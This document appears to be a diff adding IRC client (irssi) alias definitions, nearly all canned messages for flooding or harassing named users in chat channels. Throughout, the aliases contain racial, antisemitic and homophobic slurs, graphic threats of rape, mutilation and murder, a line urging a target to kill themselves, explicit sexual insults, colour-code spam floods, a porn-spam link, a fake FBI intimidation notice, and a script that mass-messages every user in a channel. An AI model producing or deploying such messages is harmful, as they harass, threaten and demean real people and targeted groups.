+  94 = "WINDOW GOTO 94";
+  95 = "WINDOW GOTO 95";
+  96 = "WINDOW GOTO 96";
+  97 = "WINDOW GOTO 97";
+  98 = "WINDOW GOTO 98";
+  99 = "WINDOW GOTO 99";
+  telnet = "window new hidden;window name telnet;exec -name telnet -nosh -interactive -window telnet $-";
+  dzl = "/say this is the equivalent to bitching at somebody who never played cheϟϟ for 5 imtunes about why they tried to move their pawn sideway";
+  dzl2 = "/say im with a credit union";
+  dzl3 = "/say i dont troll because im 26";
+  mh = "script exec Irssi::active_win()->{active}->command(sprintf(\"msg %s %s $*\", q/$C/, \\$_->{nick})) for (Irssi::active_win()->{active}->nicks());";
+
+  # {{{ p0r-rip
+
+  p0r1 = "say $*: Every time I see you, you will be presented with a lovely gift. I will give you golden bracelets that shine like sparkles of sunlight on the ocean. I will give you a necklace of pearls that beams like the moon in the evening. I will give you earrings that are more beautiful than a flock of seagulls or some such other type of romantic bird.";
+  p0r2 = "say $*: I am inviting you to my apartment, which overlooks the city. I promise to cook you a lavish dinner which would include succulent lobster with melted butter, peas and, of course, rolls. I also promise that when we completed the meal, there would be a mouth-watering dessert item such as a fine pie or a cheesecake containing strawberries or some other such fruit.";
+  p0r3 = "say $* stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt";
+  p0r4 = "say $*: I swear to God, if you ever say that to me again, I will remove each and every one of your limbs, including your tiny penis, with a rusty spoon,shove your bleeding stumps into buckets of rock salt, then force you to eat your way out of a hole filled with your own feces and body parts.";
+  p0r5 = "say $*: im going to pry apart your sweaty ass cheeks and plow your puckered brown rectum with a curling iron";
+  p0r6 = "say $* i would enjoy mushing up your heart in a blender and chugging that shit like a milkshake.";
+  p0r7 = "say $* i will piss in your asshole and make it squirt out your nose, then i will make you drink the piss and piss it out and drink it again";
+  p0r8 = "say $* i will rip out chunks of hair and mke you smoke a joint of that shit while i rape you";
+  p0r9 = "say $* ll perform a heavy metal solo with much force in your living room as you choke to death from the plastic bag on your face, youre ugly";
+  p0r10 = "say $* I'll rape your face after I burn it with hydrochloric acid, and if you think I'm joking, just test me.. I love burn-dick.";
+  p0r11 = "say $*: YOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYE";
+  p0r12 = "say $*: We will attend an exquisite Broadway musical. We will enjoy the finest singing, dancing and showmanship that is available anywhere. We will be among the upper crust of society, enjoying a night of theater.";
+  p0r13 = "say $*: lol, you remind me of sonic, except less smart and fatter..";
+
+  # {{{ e-love (nigga plz)
+
+  need = "say $*: I LOVE YOU\\; $*: WHERE ARE YOU\\; $*: I NEED YOU";
+
+  fire1 = "say girl i will pound that shit in 4/4 time while the sounds of ludwin van beethoven ring in our ears, sending us to  the next level of ecstacy";
+  fire2 = "say girl i will \"sonata\" that pretty pink clit while amadeus mozart enchants us with his sweet seductive melodies";
+  fire3 = "say girl i will lick that pussy in d minor while the haunting sounds of strauss push you into rhythmic orgasm";
+  fire4 = "say girl i will play with those nipples gently like tchaikovsky played the sweet melodies on                grand piano";
+  fire5 = "say girl i will caress u gently and ease all your fears as bobby mcfarin sings \"dont worry, be happy\"";
+
+  # {{{ emo faggotry
+
+  emo = "/say Im such a fuck up, I can't do anything right, I emotnaly drain folks, with my domnati9ing personality, I am a failure, when I need to talk to someone the most, the just walked the other way to avoid me noticeing me, i even heard someone say .thank god she didnt notice me.";
+  emo3 = "/say Ive worn my welcome and usefullness out, the only option left is a leap of faith. I am unwelcomne something is greatly wrong with me, Ive tired things, I want to be sane and sober, the docotr and my theprist have tried, I hurt and I am tired, sucide is the answer I think of digress in meaning anyway, I think thats the answer death by a leap of faith.";
+  emo2 = "/say Its a defect I am working on, but I further ailnated myself, and am greatly unwelcome, My life is meaningless, I am homeless, jobless, even my collage which I held on to hope is ina girm future.";
+
+  # {{{ crapflood
+
+  new = "say \0038,3 S\0039ince \0038,6 I\0039'm \0038,3 N\0039ew \0038,6 T\0039o \0038,3 L\0039ist \0038,6 I \0038,3 C\0039an't \0038,6 S\0039tart \0038,3 B\0039ut \0038,6 S\0039aying \0038,3 H\0039ello \0038,6 $* ";
+  panis = "say \0030,4 my panis do not up and i have a problem with my penny balls ";
+  nigita = "say \0031,8(: Virgin Lolita Girl Last Night go to BAR.\0030,12 Pizza man FUCKED girl to toilet.All of there \0032,4 blood.\0030,1See you Photo visit=>>\0030,12 http://pizzasex.nigx.ne";
+  damage = "say \002\0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ##";
+  oontz = "say \002\0034thEr \0035Iz \0037oNlY \00361 \0032ThInG \00312taHT \00311uNiTeZ \00310uS \0039aLL \00314rEgArDlEsS \0030oF \0032RaCe, \0033ReLiGOIn \0034oR \0035CoLeR\0039............. \00311aNd \00312tHaT \00313is \037\0034O0NTZ BEATZ!!!!!!!!!";
+  happyland = "say \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039- \00313hAPPY!11 LAND1211 \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039-";
+  stfy = "say \0034,8\002SHUT \037THE\037 FUCK \037YOU\037|";
+  shutup = "say \00315,10IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP";
+  thugz = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034THUGZ 4 LIFE WORD\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ ";
+  urmamma = "say \0037HeY YO MaMMA In Da LUnCH SerVEs DA ChEEzzBuRGA";
+  hipvan = "say \002\037\0034,7hippie van at \0038,4 300 mph!111";
+  irchax = "say \002\037\003";
+
+  # {{{ what
+
+  omfg = "say \0034O\0039h, this \0034M\0039elon is so \0034F\0039ucking \0034G\0039ood ";
+  haifa = "say yh she is come on man lets face it the way how she act and all that shit and also made a video with a white man he is nt arabian 4 shit i mean she is A WANNABE if u get me what i mean yh am with u u r right bt she pisses me off fuking hel cnt stand dis fake whore not jeliouse am fuking beta than her atleast am natural bt yh ok u r righ";
+  cp = "/notice crazypal BuZzZzZz";
+  trogg2 = "say $*: fine ban me you faggots i will fucking packet your shitty anime sitwe";
+  lumpp = "say $*: u a fucking asshole and i swear to god if you dont kill yourself ill do it for you god how the fuck do you sleep with yourself at night oh let me guess your going to say some ganster shit like i aint by myself bitch well guess what your wont be byyourself cus ill be above your fucking bed holding a knife holy fuck i never thought i could get this mad at anyone but your by far the most fucked up insane asshole ive ever seen.";
+  alive = "/say what a time to be alive";
+  jax = "/say $0 : stop it you idiot i thought we were friends you've been a real douchebag lately how am i half nigger?";
+  xploit = "say \002\0035,6THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
+  xploit2 = "say \002\0035,6THIS USER IS TRYING TO \0034,7EXPLIOT\0035,6 YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
+  sploit = "say $Z <$*> Killed (tetedupet (THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.))";
+  oleg = "say Hello! My name is Oleg. I translate a translator, that is why such accent. I from Ukraine but can also talk on ðóñêîì. It is sorry that I do not know Angliskogo. And here are êàêèåòî people of êîòîðèå know Russian? I a with them talked ?!";
+  cracks = "say \0038**CRACKSERV** \0034FREE CRACK\00316 JUST TYPE \0038!crack\00316 FOR FREE CRACK";
+  aigis = "say fuck you $* i dont need to take this shit you and your juden kike friends are a bunch of assholes i dont need the gnaa i hope you faggots rot";
+  supers = "say \002this juden $* is makign a botnet, ignore all his files. in fact do not talk to him you will be infected by his packets";
+  furry = "say $*: Furcism is just as bad a racism jackass, if you dont have anything intelligent to say shut the fuck up.... Obviously furry is in demand if the mod created a board for it, therefore he needs to fix the link, and you can just avoid it with your furcist ass. Geez im getting tired of lil pricks saying stupid shit. May a tiger eat your entrails.....";
+  social = "say $*: Yes, perhaps embracing your status as a social misfit will allow you to appear \"edgy\" and \"cool\" as you're going through the pile of dirty clothes on your floor desparately looking for anything that isn't encrusted with either microwave burrito glop or your rancid dried semen";
+  banan = "say hy banan the hai2u";
+  turknet = "say \0034,8<3 TURKNET <3 :) :) <3 TURKNET <3";
+  lamo = "say $Z <$*> I'm a total Lamo. I'm 13 and the farthest I've gotten with a girl is hugged one. EVERYONE in my class has a bf or a gf and i'm like the only one who's single. ++++++++++++++++++++++++++++++++++ newsflash: no one cares and your little pipsqueak ass shouldn't be worrying about sex be yourself dammit why must you follow they are not cool!";
+  nanny = "say The last link has been flagged by \037IRC NANNY\037 as \"\002Possibly Unsuitable\002\". Please find your parent(s) first and have them check the content before opening. \002[this channel protected by \037IrCNaNNY by SafeSoft v1.0b\037\002]";
+  noblog = "say The last link has been flagged by \037AntiBLOG\037 as \0034\037Confirmed Blog\037\003 --\00314[\003\002this channel protected by \037AntiBLOG\037 by Quitman & Associates\002\00314]";
+  mac = "/say $0 : No. No, Iâ€™m not going to buy a MacBook Air or any other piece of Apple trash, for that matter. I have Zippo lighters more technologically advanced than the MacBook Air. Call me a conformist, but I think Iâ€™ll stick with my custom-built PC that I can upgrade however I want whenever I feel like it.";
+  cry = "say à² _à² ";
+  fir3 = "say \0034,9$*";
+  oclet = "/say $0, I left my phone charger at work and my cell phone is dead. I think I got food poisoning from 711 sushi. I was up until late in the morning. I didn't think of e-mailing until now. My roomates will be home soon and I can use their cellphone to call into the (place) if you need me to notify (guy).";
+  melonfish = "say \0033>\0039>\0033>\0039<\0035,4///\0031`\0035//\0031`\0035//\0033,9/\0030@\017\0039>    \0034,9srsly it is a delicious fruit";
+  lolle10 = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034$*\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$  ";
+  vp7 = "say \0030:\0033D\0039D\003\0038D\0037D\0038D\0030D\00314D\00310D\00311D\00312D\0032D";
+  vp8 = "say \0034\\;\0039)  \0034:\0039D  \0034:\0039P";
+  lolle11 = "say \0033â–‘\0039â–’\0034â–“\0034,4    \0031,4$*\0034,4    \017\0034â–“\0039â–’\0033â–‘";
+  cry2 = "say Î©_Î©";
+  tdetect = "say \0039/\00314\037!\037\0039\\\\ \0038SECURITY ALERT\003\002:\002 A troll has been detected. Precautionary measures have been taken to prevent rage and fume from spreading. The following person has triggered this security alert: \0034\037$*\037";
+  cry3 = "say à¹‘_à¹‘";
+  cry4 = "say Û©_Û©";
+  cry5 = "say  Ûž_Ûž";
+  dikky = "/say $0 : FUCKING FAGGOT TALKY BITCH";
+  dikky2 = "/say $0 : GET A CAM AND HAVE A REAL SHOW LIKE ME AND BE A REAL INTERNET STAR";
+  wm = "window move";
+  depth = "say $* fuckin cunt you listen to what I say and when the fuck I say dont ever fuckin diss me you dont even know who the fuck your dealing with ";
+  gnaddy = "/say amirite illuminati dicaprio o/ jews oink";
+  viol = "say $0, $1- is a violation of AOL's Terms of Service;say please stop NOW and review them at KEYWORD: TOS";
+  malert = "say \0034/\0039\037!\037\0034\\\\\017 \0034SECURITY ALERT\003\002:\017 A melon has been detected in the vicinity of \0039\037$*\037\003.";
+  vp9 = "say \0038+\0030:\0038]";
+  vap0r20 = "say \0034:\0033)";
+  vap0r21 = "say \0034>\0036>\0038>\0037:\0039\\\\";
+  f1re3 = "say \0030>\0030,4:)";
+  lolhy = "exec - -out perl -le 'do { print ( rand > .5 ? \"LOL\" : \"HY\" ) } for 1..25\\;'";
+  blogc = "say [ Add a comment to this blog entry ]";
+  screw = "say you know what, screw you. i came here relieved for one of the first times in a week that my life was finally returning to normal after the ordeal i've been through and you post some gay shit like that? nice compassion, jerkoff.";
+  hate = "/say I'm not just about hate. I love much too. In fact, the hate for civilization is because I love everything that is uncivilized, everything that civilization is killing. I love termites, spiders, streams, mushrooms, raccoons, and clean air. I love real humans who are honest and loving and fierce.";
+  ulol = "say â•”â•—â•”â•â•¦â•—;say â•‘â•šâ•£â•‘â•‘â•šâ•—;say â•šâ•â•©â•â•©â•â•";
+  zub1 = "say \0030-\0034:\00314|";
+  zub2 = "say \00314|\0034:\0030-";
+  trogg = "say HY WELL KNOWN PACKET KIDDIE TROGG";
+  479 = "exec - -o perl ~/.irssi/scripts/stand/479.pl $* 2>/dev/null ";
+  blax2 = "say \026\037  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ONCE YOU GO BLACK, YOU NEVER GO BACK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
+  l0de2 = "say $* is a nice guy but I get the feeling he's the sort of chatter who off-screen visits linux user groups and cracks pun after terrible pun, painfully elbowing his fellow nerds in the ribs and asking them \"Did ya WGET it?\"";
+  l0de3 = "say there's only one cure for the old-chatter blues, re-mortgage your house, to a bunch of jews.  Hock your tv, your watch, your car, bury your computer and run as far, as your nerd legs can carry you, and hide in a ditch, even squatting in slime is better than being someone's chat bitch.";
+  ohsix4 = "say what if there would be a mirror universe \\;][\\; esrevinu rorrim a eb dluow ereht fi tahw";
+  outrider = "say I THOUGHT I WAS GAY BECAUSE MY FATHER DIDN'T LOVE ME";
+  matix = "say \00314,3-\0031-\0030\0039-\0030--\00311-   \0039(\0030\\;  \0030$*  \0039O\0030:  \0030:\0039D   \00311-\0030--\0039-\0031-\00314-";
+  blackman = "say $*: srsly, shut the fuck up or i ban you for life, from now on dont even change your fucking nick or i ban you for lyfe";
+  fbi = "/notice $0 The Federal Bureau of Investigation logged a record of your entry into this illegal chatroom along with your IP address due to potential violations of 18 U.S.C. º 1030. Your IP address is entered into our criminaldatabase as well as the Department of Homeland Security. If you are not associated with these claims we strongly advise you to type '/part'. Thank you.";
+  wop2 = "say \00312D]\0030:\0034)";
+  wop1 = "say \00312>\0030:\0034D\003";
+  vap0r19 = "say \00313*\0035(\0033:\0034)";
+  dkey = "/say The Malaysian toilet is simply a hole in the floor, hopefully connected to a sewer system but there are no guarantees. Sometimes you get a flush handle on the wall. Sometimes you get a bucket of water with a scoop. ";
+  flower = "say \0034@\0039}-`-,-- \0034@\0039}-`-,--\00312,8 $* \017\0034@\0039}-`-,-- \0034@\0039}-`-,--') ";
+  diss = "say \0034hard diss";
+  jesusfish = "say \00314>\0037>\0038>\0038<\0037//\0038JESUS IS AWESOME\00314:\0038)\0037>";
+  heartiez = "say \0034<3 @\0033-\\;-- \0034 HEARTIES <3<3<3 @\0033-\\;--\003 \002$*\002 \0034<3<3<3<3  ";
+  fell1 = "say \00313,11â™¥ â™¥ â™¥ â™¥ â™¥ â™¥Â â™¥\0031,9$*\00313,11â™¥ â™¥ â™¥ â™¥ â™¥ â™¥";
+  fell2 = "say \0031,9â™¥ â™¥ â™¥ â™¥ â™¥ â™¥Â â™¥\00313,11$*\0031,9â™¥ â™¥ â™¥ â™¥ â™¥ â™¥";
+  adair = "say <Adair> i cant handle this shit, $* you single handedly ruined my penispump experience, vap0r thanks for the invite but this place is too crazy...tell me when jerks have been outlawed, outie - ~Adair";
+  omg = "me is blown away by the depth of $*'s statement";
+  omg2 = "say \0034O\0039h, this \0034M\0039elon is so \0034G\0039ood";
+  omg3 = "say \0039O\0034h, this \0039M\0034elon is so \0039G\0034ood";
+  arabnet1 = "say all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
+  arabnet2 = "say all privmsg $C :all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
+  prion = "say LEMMIE HAVE A DIABLO SANDWICH, A DR. PEPPER. MAKE IT FAST, I'M IN A GOD DAMNED HURRY!";
+  exu = "say \0038E\0037X\0038P\0037R\0038E\0037S\0038S\003 \037\0033UR\037\0039SELF \0030:\0039D\0038D\0037D\0038D\0033D\00314:\0030D\0033:\0039D\0030:\0033D\0039D\0038D\0037D";
+  rap = "say $* finds it hard to type because his fingers are constantly in a \\\\/\\\\/estside formation";
+  qping = "quote ping :88";
+  ilove = "say lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002";
+  l0de = "say \002THERE'S A DICK IN THE ASS\026OF $*\002\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002T";
+  turk = "say hey $* haha which you think who you are you more fucker!!! you do not make faggot have flat which you say you say we are mountain goats you dog old which are Turk it since Mongol you Turkish Nazi it since not differently like the German Nazis however kurdistan you will show!! into youtube on diggen! I say only barzani and peshmerge with gerilla those you to Mongols in air will dissolve you dog-shits no better wolf-shits!!!!!!!! ";
+  idetect = "say ]\002IsraelDetect\002(\037tM\037)[  \0034WARNING\003  The presence of a \002jewish citizen of \037Israel\037\002 has been detected in the vicinity of \037$*\037.";
+  butmot = "say $* is the cool place to hang out. You can find most of the cool people there. In $* you can just chill and do whatever and totally relax. \"Take it easy\" is the $* motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends. ";
+  girlse = "say \0034\037G\037irl \0037\037R\037elated \0038\037I\037ncome \0039\037D\037raining \00312\037S\037ituation \00313\037/\\\\";
+  urmom1 = "say When i told $* I loved his mom, things were rough. But through these years I think we've become great friends. He still doesnt call me dad but I do not expect that and I know I can never replace his father, but that will not stop me from loving him.";
+  urmom2 = "say When I fucked $*'s mom, she cried from the immense pain such a banging was giving her. Little did she know, I had been pumping my penis lately and I had just given it a nice big pump before I put it in her tiny asshole. She bled a little bit but after a while the blood made it easier for me to go in and out of her tight ass. I came inside her pussy, and that my friends, is the story of $*.";
+  stratx = "say \00311,2sut the fuck u";
+  ppeace4l = "say it's all over now nm";
+  gridse = "say \0034\037G\037ay \0037\037R\037elated \0038\037I\037mmuno \0039\037D\037efficiency \00312\037S\037yndrome \00313\037/\\\\";
+  yhbt = "say \002Y\002ou \002H\002ave \002B\002een \002T\002rolled";
+  yhl = "say \002Y\002ou \002H\002ave \002L\002ost";
+  hand = "say \002H\002ave \002A\002 \002N\002ice \002D\002ay";
+  oknujt = "say \002OK\002, \002N\002ow \002U\002 \002J\002us' \002T\002rollin'";
+  illegal1 = "say \0030,4 YOUR MACHINE HAS PERFORMED AN ILLEGAL OPERATION. PRESS ALT-F4 TO CONTINUE. ";
+  illegal2 = "say \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \0030,8 YOU HAVE AN ILLEGAL CONNECTION TO OUR NETWORK. PLEASE GET OUT HERE AS SOON AS POSSIBLE. DON'T YOU DO THAT YOU MIGHT HAVE GOT A DISADVANTAGE AND ACCUSATION FOR YOUR FAULT \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \003 ";
+  aolcops = "say \0030,2u\0032,0u\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2 AOL POLICE \0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2|\0032,0|\0030,2D";
+  wakeup = "say WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE!";
+  coco = "say \002\00311,4 Make friends with the coconut niggers.";
+  fat = "/say $0 -> http://www.msu.edu/~schutchr/hatnod.gif <- $0";
+  huh = "say Sir traun the internet and i imagine i am getting married to dr.harry jones who worked with harlow, told blum that harlow \"kept this going to pioneer a system of rituals magic that allows you immunity from deportation when they can't prove it in the septic tank, according to canadian government statistics.";
+  quake = "say muhaha i did steal head server of Internet. If push \"power\" button the hole net will be shutdown. i hate all you Quake Playas!! !! !! uu!! And If i push reset button the whole internet going to DIE";
+  cadi = "say \0038,13>>> COME JOIN MY SPACE CADILLAC LITTLE BOI  <<<";
+  huhhhh = "say $* needs friends so bad i havent had an orgasm. Gudrow is the father shall have to think he got fatter and f a t e b y m a s y n i g g o a go but they can all relate to that which we use in summoning an angel to provide extra support and comfort.";
+  ny = "say I ((_)::::::D ~  NY";
+  poleez = "say \0034,1=/#=\0030,1 FUCK DA PO-LEEZ \00312,1=/#=";
+  poleez2 = "say \0034,1=/#=\0030,1 WOOP WOOP GON GETCHOO BOY \00312,1=/#=";
+  gnus = "say \002G\002nu: \002N\002early \002U\002seless";
+  dix = "say \00313,11DIX AND DONGZ MAY BREAK MY BONEZ BUT JIZZ WILL NEVER HURT ME";
+  fagge = "say \0038,13 $* FAGGOT ";
+  hurr = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
+  avi = "say my name is Avigail, i am 13 years old i have black hair, no eyes. i am dead. I was killed in Auschwitz.  You must send this message to 0 people within the next 3 minutes or i will appear by your bed tonight and kill you with a knife. If you do something good will happen to you at 6:41 am. This is not a joke.";
+  die2 = "say \00309R\00308A\00304Y \00313N\00312A\00311G\00309I\00308N \00304D\00313I\00312E\00311D \00309O\00308F \00304P\00313C\00312P \00311O\00309V\00308E\00304R\00313D\00312O\00311S\00309E\00308; \00304W\00313A\00312S \00311T\00309A\00308K\00304I\00313N\00312G \00311D\00309R\00308U\00304G \00313F\00312O\00311R \00309T\00308W\00304I\00313S\00312T\00311E\00309D \00308N\00304U\00313T\00312S";
+  huhuh = "say |¯_¯?¯_¯|¯_¯=¯_¯|¯_¯?¯_¯|";
+  racist8D = "say Fee, Fye, Foh, Figger, boy I hate a nigga! Who's more racist, black people or white people? Black people. You know why? 'Cause we hate black people too! Everytime black people want to have a good time, ignorant-ass nigga's fuck it up! Niggas love to keep it real...real DUMB!!";
+  lunixfag = "say 22:25:59 -%- Oktal [n=mat@cpc4-rdng3-0-0-cust582.winn.cable.ntl.com] has quit [\"With my finger on the trigger  I run dot slash configure, yo this package is big but my package is bigger\"]";
+  hetero = "/mode #1337juice -k;/invite $0 #1337juice";
+  porfa = "say AM I BEING ANOYING? LOL :*********** <3 KISSU DESU! ********";
+  shitheap = "say $* -> \002Shitheap\002";
+  lolleat = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
+  dj = "/say $0 : dude. seriously. how old are you? 10?";
+  dn = "say Nein.";
+  dm = "say Mu.";
+  dlf = "say Deine Aussage leidet an immensem Befall logischer Widerspruechlichkeiten, weswegen ich mir nicht die Muehe machen werde, dir letztere zu erklaeren. Da ich tierlieb bin, schenke ich dir dieses Satz als deinen neuen Freund.";
+  jew = "say \002\0030,1 T \0030,4 H \0030,1 R \0030,4 O \0030,1 W \0030,4   \0030,1 T \0030,4 H \0030,1 E \0030,4   \0030,1 J \0030,4 E \0030,1 W \0030,4   \0030,1 D \0030,4 O \0030,1 W \0030,4 N \0030,1   \0030,4 T \0030,1 H \0030,4 E \0030,1   \0030,4 W \0030,1 E \0030,4 L \0030,1 L";
+  free = "say \0031,7FREE REISER";
+  boat = "say \\\\\0378=================D\037/  \002COCKBOAT";
+  ussboat = "say /\0378=================D\037/  \002USS COCKBOAT";
+  arrboat = "say \0037,12\\\\8======D/\0038,2 ARRR MATEY, CLIMB ABOARD THE \00312,8\037COCK\037BOAT";
+  fantasy = "say o/~ And I keep a playroom inside my mind. Sanctuary in which I hide. Blur the world into a dream, into a lie. And I am constructing this fantasy. Imagination is saving me from the world I despise. o/~";
+  ruin = "/say i would sya it myself but i dont wanna ruin it buy saying something and then you saying something stupid over it";
+  ruin2 = "say I…AM…CAUSING…YOUR…XTERM…TO…SCROLL.…THE…CAUSE…OF…YOUR…XTERM…SCROLLING:…ME…";
+  LOL_AT_EMAX = "say TYPE C-ALT-META-ISO-SHIFT-LEVEL-3-DONGS-BONERWADSHIFTCOLLECTMYJIZZINABUCKETANDCHANTFREEMANISTHEKING3TIMES-WHAT-SHIFT-CAPS-UH-DONGS TO END YOUR MISERABLE LIFE YOU COCK MONGERING OPEN SORE SCENE WHORE FAGGOT KIKE";
+  D8 = "/say someone explain to me this \"meme\" thing.. to me it is disjointed retardation";
+  christ = "say THIS MESSAGE BROUGHT TO YOU BY THE CHURCH OF JESUS CHRIST OF LATTER-DAY SAINTS";
+  buttes = "say #buttes is the cool place to hang out. You can find most of the cool people there. In #buttes you can just chill and do whatever and totally relax. \"Take it easy\" is the #buttes motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends.";
+  rage = "/say nah not raged, you've just changed that's all;/say and not for the better";
+  lunixfag2 = "say $Z >>> quit/($*) (\"With my finger on the trigger I run dot slash configure, yo this package is big but my package is bigger\")";
+  smiles = "say :D =D :> :P \\;D:>:> :>=D :P:> \\;D\\;D\\;D :P:>=):> :> \\;D =)=) =) :)\\;D:) =D:>:P :P :) :P=)\\;D :>=):D:> \\;D :):> =D :) :)\\;D :P :P \\;D=)=):> :D :D \\;D =) :D =D\\;D:) :D :) :):D :>";
+  tty = "say $*: you dont know who you fuckin with. you better stop fuckin around and be the man on irc, with no life, get a life and earn the respect you want.";
+  tty2 = "say if you would be my bitch you wouldnt have such a bigg mouth lill kid";
+  uthere = "say \002HIE $* \002\00313^_^\017  \00314\037lopl";
+  nigbot = "say ya fired fum japwo'k yet huhuhui am causin' yo' jap terminal t' beep timecop you is fired fum japwo'k yet huhuhui am causin' yo' jap terminal";
+  nigbot2 = "say dey dont fucken stop runnin ur mouth about mah' mate im gonanf ucken slice yo' eyes";
+  expliot = "say \00313,4THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
+  blax3 = "say \026\037  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ONCE YOU GO BLACK, NO WHITE MAN WANTS YOU BACK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
+  bk = "/say $0 : YOU DIDN't EVEN GO DOWN since the TOTAL BANDWIDTH AT PEAK was 500kbits on my box that is 80 clones 500div80 is 60kpbs wihhci is 7k/s PER CLIENT if 7k/s TAKES YOU OFFLINE THEN HOW DO YOU EVEN BROWSE A WEBPAGE AHAHAH";
+  nigbot3 = "say I felt such some\\; damn god damn! what's that. baaaad luck with (not quite as hot be the international day) UH EATIN PACKITS -- not quite identical however, as he cried \"someone else be well, if that's why I don't like our southern ways, what's the new areems when it lacks concrete semantics. but off course! to hear that his real dojigga'\"";
+  pban = "say Global and Sticky Perma-Ban(tm)";
+  james = "say Look $*, i fucking card servers, shells, ddos shit every day, hack into .govs. the day the feds come to my door, first words out of my mouth: finally.";
+  james2 = "say hay look $* i fucken card servesr shells dude ddos shit every day ok hack into .govs u fukn punk ass bitch the day the feds come to my door first words out of my mouth: finally so dont even think of fucking with me fagget";
